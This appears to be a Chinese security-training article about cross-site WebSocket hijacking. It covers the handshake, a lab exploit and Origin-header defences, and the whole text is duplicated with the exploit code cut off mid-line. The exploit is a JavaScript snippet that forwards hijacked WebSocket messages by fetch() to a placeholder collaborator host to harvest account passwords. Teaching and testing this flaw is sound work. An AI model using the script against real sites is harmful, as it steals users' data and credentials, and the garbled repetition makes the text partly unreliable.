如何有效防范和应对WebSocket通信过程中的劫持攻击?

2026-04-11 05:451阅读0评论SEO资讯
  • 内容介绍
  • 文章标签
  • 相关推荐

本文共计786个文字,预计阅读时间需要4分钟。

如何有效防范和应对WebSocket通信过程中的劫持攻击?

WebSocket是HTML5推出的一种新型协议,基于TCP的应用层通信协议。它与HTTP协议内容本身无关。WebSocket与TCP类似,都进行握手连接,但不同的是,WebSocket是基于HTTP协议进行握手的。

WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与或 切换到 ws://或 wss://后,表示应用已经切换到了WebSocket协议通信状态

WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤,如下图

建立WebSocket连接

WebSocket连接通常是使用客户端JavaScript创建的

varws=newWebSocket("wss://normal-website.com/chat");
//该`wss`协议建立在一个加密的TLS连接的WebSocket,而`ws`协议使用未加密的连接。

为了建立连接,浏览器和服务器通过HTTP执行WebSocket握手。浏览器发出WebSocket握手请求,如下所示:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

如果服务器接受连接,则它将返回WebSocket握手响应,如下所示:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

此时,网络连接保持打开状态,并且可以用于向任一方向发送WebSocket消息。

请求和响应中的Connection和Upgrade标头表示这是WebSocket握手

WebSocket安全漏洞

原则上,由于WebSocket涉及多个层面,任何与WebSocket有关的web安全漏洞都有可能出现

•传输到服务器的用户的输入以不安全方式处理,出现SQL注入或XML外部实体注入等

•通过WebSockets达到的某些盲洞(blind vulnerabilities)可能仅可使用带外(OAST)技术才能检测到

•如果攻击者控制的数据通过WebSockets传输到其他应用程序用户,则可能导致XSS或其他客户端漏洞

本文主要讲探讨的是跨站WebSocket劫持漏洞-CSWSH

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

跨站WebSocket劫持漏洞 什么是跨站WebSocket劫持漏洞

Websocket带来的安全特性在一定程度上缓解了一些特性的攻击,但在日渐发展的攻击方式下,其相关漏洞也不断曝光,其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞

我们可以看见WebSocket的链接过程与your-websocket-url');
ws.onopen=function() {
ws.send("READY");
};
ws.onmessage=function(event) {
fetch('your-collaborator-url',{method:'POST',mode:'no-cors',body:event.data});
};
</script>

•wss://your-websocket-url替换成目前url

•your-collaborator-url替换成Burp Collaborator Client或自己搭建的Burp Collaborator服务器

如何有效防范和应对WebSocket通信过程中的劫持攻击?

•可以点击view exploit测试,也可以直接发给攻击方

•然后在Burp Collaborator Client多poll几下

•翻看一下得到账号密码

然后我选择再用dnslog验证一遍

确实可以带出数据,执行敏感操作

如何防范跨站WebSocket劫持漏洞

•校验Origin头

•双向将WebSocket传输数据视为不可信

•对WebSocket握手信息进行加密保护

•硬编码WebSockets终结点的URL

更多靶场实验练习、网安学习资料,请点击这里>>

搜索

复制

合天智汇:合天网络靶场、网安实战虚拟环境

本文共计786个文字,预计阅读时间需要4分钟。

如何有效防范和应对WebSocket通信过程中的劫持攻击?

WebSocket是HTML5推出的一种新型协议,基于TCP的应用层通信协议。它与HTTP协议内容本身无关。WebSocket与TCP类似,都进行握手连接,但不同的是,WebSocket是基于HTTP协议进行握手的。

WebSocket是HTML5推出的新协议,是基于TCP的应用层通信协议,它与或 切换到 ws://或 wss://后,表示应用已经切换到了WebSocket协议通信状态

WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤,如下图

建立WebSocket连接

WebSocket连接通常是使用客户端JavaScript创建的

varws=newWebSocket("wss://normal-website.com/chat");
//该`wss`协议建立在一个加密的TLS连接的WebSocket,而`ws`协议使用未加密的连接。

为了建立连接,浏览器和服务器通过HTTP执行WebSocket握手。浏览器发出WebSocket握手请求,如下所示:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

如果服务器接受连接,则它将返回WebSocket握手响应,如下所示:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

此时,网络连接保持打开状态,并且可以用于向任一方向发送WebSocket消息。

请求和响应中的Connection和Upgrade标头表示这是WebSocket握手

WebSocket安全漏洞

原则上,由于WebSocket涉及多个层面,任何与WebSocket有关的web安全漏洞都有可能出现

•传输到服务器的用户的输入以不安全方式处理,出现SQL注入或XML外部实体注入等

•通过WebSockets达到的某些盲洞(blind vulnerabilities)可能仅可使用带外(OAST)技术才能检测到

•如果攻击者控制的数据通过WebSockets传输到其他应用程序用户,则可能导致XSS或其他客户端漏洞

本文主要讲探讨的是跨站WebSocket劫持漏洞-CSWSH

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

跨站WebSocket劫持漏洞 什么是跨站WebSocket劫持漏洞

Websocket带来的安全特性在一定程度上缓解了一些特性的攻击,但在日渐发展的攻击方式下,其相关漏洞也不断曝光,其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)跨站WebSocket劫持漏洞

我们可以看见WebSocket的链接过程与your-websocket-url');
ws.onopen=function() {
ws.send("READY");
};
ws.onmessage=function(event) {
fetch('your-collaborator-url',{method:'POST',mode:'no-cors',body:event.data});
};
</script>

•wss://your-websocket-url替换成目前url

•your-collaborator-url替换成Burp Collaborator Client或自己搭建的Burp Collaborator服务器

如何有效防范和应对WebSocket通信过程中的劫持攻击?

•可以点击view exploit测试,也可以直接发给攻击方

•然后在Burp Collaborator Client多poll几下

•翻看一下得到账号密码

然后我选择再用dnslog验证一遍

确实可以带出数据,执行敏感操作

如何防范跨站WebSocket劫持漏洞

•校验Origin头

•双向将WebSocket传输数据视为不可信

•对WebSocket握手信息进行加密保护

•硬编码WebSockets终结点的URL

更多靶场实验练习、网安学习资料,请点击这里>>

搜索

复制

合天智汇:合天网络靶场、网安实战虚拟环境